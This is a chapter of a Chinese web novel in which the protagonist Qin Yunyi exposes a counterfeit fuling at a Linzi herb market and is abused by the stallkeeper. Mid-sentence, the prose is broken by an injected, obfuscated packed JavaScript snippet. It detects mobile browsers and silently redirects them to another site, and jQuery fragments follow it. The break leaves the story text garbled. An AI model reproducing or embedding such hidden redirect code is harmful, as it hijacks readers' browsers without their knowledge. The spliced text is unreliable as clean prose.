走来走去,秦云意终于逛到了市集旁,顺带在其中找了家客栈住下,他要了间二楼的单间,推开窗,正好能看见半条街的景致,头一天到临淄,他打算信步前往东市的百草堂看看——那里是临淄有名的药材集市,其中所传来的草药芳香味……说真的,让他想起了白山。 他放下包裹,接着下楼,慢慢悠悠,只身荡了过去。 以临淄的大门处的东侧向前算,这一路上就被称作“百草堂”,这整条街长达一里,街道上人来人往,你来我去,显得比主街还要拥挤十分,而这儿两旁全是药铺、医馆、草药摊,还未等秦云意走近,那股浓郁的药香就已经扑面而来——甘苦辛涩,五味杂陈。 秦云意缓步走着,目光不时掠过两侧摊位。他看见——有的摊位上摆着成捆的干草药,有的放着晒干的虫蛇,有的陈列着各种颜色的矿石粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153460|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末,还有的摆着些稀奇古怪、连他都叫不出名字的东西。可就在正当他准备继续前行时,没想到,一个摆在摊位角落里的物件吸引了他的注意力—— 那是一块硕大的“茯苓”,表面黄白,形似小枕,更可巧的是,它正被摊主特意摆放在红绒布上,红白对比,显得颇为醒目。 秦云意走近细看了看,却觉得十分诡异。 嘶……这茯苓,乍看品相倒是极佳,但……身为山中药物,它纹理似乎有点过于规整了,连裂痕上都有细微的粘合痕迹,色泽也过于均匀,少了些天然药材应有的自然过渡……想必这块“茯苓”,多半是用碎茯苓粉掺了米浆或黏土重压塑形,再经染色做旧而成的假货吧! “看上这宝贝了?”一个男声从前方响起。 秦云意抬起头,这声音的主人是个身材矮胖的中年男人,他面色红润,正叼着烟斗,见秦云意停在茯苓前来回打量,他上下扫了这年轻人一眼,眼中全都是轻蔑。 “这可是三十年的野生云苓,整条百草街独一份,客官想要,这价钱嘛——” 摊主吐出烟圈,懒洋洋地开口说道,接着,他伸出三根粗短不一的手指。 “三百钱,少一文不卖。” 听闻此话,周围听见的摊贩全都暗暗咋舌,却无人吱声,要知道,三百钱?这在临淄,可算的上一个三口之家两月的嚼用了! “那三十年野生云苓……可有看过内瓤、纹理、气味?” 秦云意平静地询问摊主。 “你这后生,懂不懂规矩?买就买,不买就滚!谁家卖整苓还给你剖开看?我在这条街卖了二十年药,还能卖假货不成?还有——瞧你这穷酸样,像掏得出三百钱的人吗?问东问西的,耽误老子做生意!” 没想到,就是那么一句话,摊主就已经怒火中烧了。 “哎呀,小哥,走吧……他是这儿的“地主”,这家伙的东西,看看就得了,别买……”有人偷偷劝秦云意。 听闻此话,秦云意面色依旧不变——他本不欲多事,只需走了便是,但这摊主气焰嚣张,又以假充真、价高欺客,若真让急需此药的人买了去,不是轻则破财,那就是……重则误病啊。 “既是真货,又何惧查验?”秦云意抬高声音。 “我知那真茯苓质坚体重,断面细腻,气味淡而甘,而阁下这块,手感轻浮,边缘有人为粘痕,色泽也太过均匀——恐怕是碎料重压所制吧?” “放屁!哪来的野小子,敢污蔑老子的货?老子看你就是来找茬的!赶紧滚!不然老子让你横着出去!” 那摊主猛地站起,脸色大变,指着秦云意的鼻子就开始骂,周围闻声已聚起一小圈看热闹的人,只不过,这奸商平日横行惯了,见他发怒,众人纷纷后退,也都生怕被牵连。 秦云意看着对方气愤至极的嘴脸,心中忽然觉得有些无趣,所谓人间市井,欺瞒讹诈,恃强凌弱——披了一层文明的皮罢了,他干脆转身离开,不再与这等人纠缠。 可没想到,正在此时,前方居然又传来一阵高亢的吆喝,甚至于压过了整条街的嘈杂——